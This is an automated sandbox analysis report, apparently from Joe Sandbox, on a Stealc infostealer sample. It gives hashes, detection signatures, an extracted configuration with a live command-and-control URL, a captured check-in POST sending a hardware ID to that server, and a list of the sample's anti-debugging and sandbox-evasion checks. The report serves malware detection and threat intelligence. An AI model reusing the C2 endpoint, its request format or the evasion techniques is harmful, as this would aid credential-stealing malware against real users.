Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1538461
MD5:	6535a50286893f791f119217511acc32
SHA1:	2155f365670366e0839d7231944930ddf60ea32b
SHA256:	42944bc940b4e9c0dd2a3f97ab9090005213870edeb8e26fec953afa12140ef2
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 616 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6535A50286893F791F119217511ACC32)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2067248972.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2023298984.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 616	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 616	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.5f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:46:59.150628+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.5f0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/f	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php&	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php/	Virustotal: Detection: 17%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_005FC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_005F7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_005F9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_005F9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00608EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00608EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00604910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00604910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_005FDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_005FE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00604570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00604570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_005FED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_005FBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005FDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005F16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00603EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00603EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FF68A FindFirstFileA,	0_2_005FF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005FF6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKECAAAFHJECAAAEBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 44 38 42 37 41 45 33 39 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="hwid"32D8B7AE39294266498721------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="build"doma------GHJKECAAAFHJECAAAEBF--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_005F4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKECAAAFHJECAAAEBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 44 38 42 37 41 45 33 39 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="hwid"32D8B7AE39294266498721------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="build"doma------GHJKECAAAFHJECAAAEBF--

Source: file.exe, 00000000.00000002.2067248972.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2067248972.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ctionSettingsa
Source: file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php/
Source: file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpG
Source: file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpS
Source: file.exe, 00000000.00000002.2067248972.0000000001463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpi
Source: file.exe, 00000000.00000002.2067248972.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpw
Source: file.exe, 00000000.00000002.2067248972.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/f

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00881836	0_2_00881836
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CE1B7	0_2_009CE1B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B81B6	0_2_009B81B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009BB91A	0_2_009BB91A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009C5AAB	0_2_009C5AAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CAAC7	0_2_009CAAC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AFAEB	0_2_008AFAEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00986AE2	0_2_00986AE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009BD37C	0_2_009BD37C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009C2B65	0_2_009C2B65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00897C2C	0_2_00897C2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009835B4	0_2_009835B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092A5D7	0_2_0092A5D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009C95C6	0_2_009C95C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B9D29	0_2_009B9D29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B66B6	0_2_009B66B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B560C	0_2_009B560C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088662B	0_2_0088662B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A2F8A	0_2_008A2F8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00990F9E	0_2_00990F9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094A785	0_2_0094A785
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F1F0B	0_2_008F1F0B

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 005F45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467

Source: file.exe, 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2023298984.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00609600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00609600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00603720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00603720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\G0YGKKW1.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1887232 > 1048576

Source: file.exe

Static PE information: Raw size of yuntpzro is bigger than: 0x100000 < 0x1a6a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.5f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00609860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00609860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: yuntpzro
Source: file.exe	Static PE information: section name: dfroebje
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD80AD push esi; mov dword ptr [esp], ebx	0_2_00AD895E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A6A0B6 push ebp; mov dword ptr [esp], esp	0_2_00A6A0E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A8D0B4 push esi; mov dword ptr [esp], ebp	0_2_00A8D0C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A8D0B4 push ecx; mov dword ptr [esp], eax	0_2_00A8D114
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D28BF push 36DCB21Fh; mov dword ptr [esp], esi	0_2_009D2900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060B035 push ecx; ret	0_2_0060B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA80D5 push 4AAD475Eh; mov dword ptr [esp], edx	0_2_00AA80DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3F82D push esi; mov dword ptr [esp], 75B8F8B0h	0_2_00A3F8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00881836 push edx; mov dword ptr [esp], esi	0_2_00881862
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00881836 push 74352565h; mov dword ptr [esp], eax	0_2_0088189D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00881836 push eax; mov dword ptr [esp], 005B3318h	0_2_008818DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00881836 push 657822B6h; mov dword ptr [esp], ebx	0_2_008818FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00881836 push 1B19F53Dh; mov dword ptr [esp], ebp	0_2_00881903
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00881836 push 66B9D204h; mov dword ptr [esp], edi	0_2_00881940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00881836 push ecx; mov dword ptr [esp], 283310FEh	0_2_00881995
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE8866 push 11604F82h; mov dword ptr [esp], edx	0_2_00AE88BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A48840 push edi; mov dword ptr [esp], edx	0_2_00A48844
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3B84F push 040D9C91h; mov dword ptr [esp], edi	0_2_00A3B86F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3B84F push 120D10D0h; mov dword ptr [esp], ebx	0_2_00A3B892
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A6E851 push 71497BEAh; mov dword ptr [esp], edx	0_2_00A6E874
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A6E851 push ebp; mov dword ptr [esp], ebx	0_2_00A6E8DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00959069 push edi; mov dword ptr [esp], 76488C02h	0_2_009590F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00959069 push 596F0992h; mov dword ptr [esp], esi	0_2_0095910A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7A9BB push ebx; mov dword ptr [esp], eax	0_2_00A7AA05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CE1B7 push 6FDFE1A9h; mov dword ptr [esp], edx	0_2_009CE1F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CE1B7 push edi; mov dword ptr [esp], 7EF82E3Ch	0_2_009CE24C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CE1B7 push 39D51FCCh; mov dword ptr [esp], edx	0_2_009CE2D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CE1B7 push 77151DC5h; mov dword ptr [esp], edx	0_2_009CE2E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CE1B7 push ebx; mov dword ptr [esp], esi	0_2_009CE2FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CE1B7 push 5D3AB117h; mov dword ptr [esp], eax	0_2_009CE408
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CE1B7 push eax; mov dword ptr [esp], esi	0_2_009CE42D

Source: file.exe

Static PE information: section name: yuntpzro entropy: 7.954094538527286

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00609860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13421

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D302D second address: 9D3039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F242906E926h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2928 second address: 9D2942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2429065B53h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5360 second address: 9D5364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
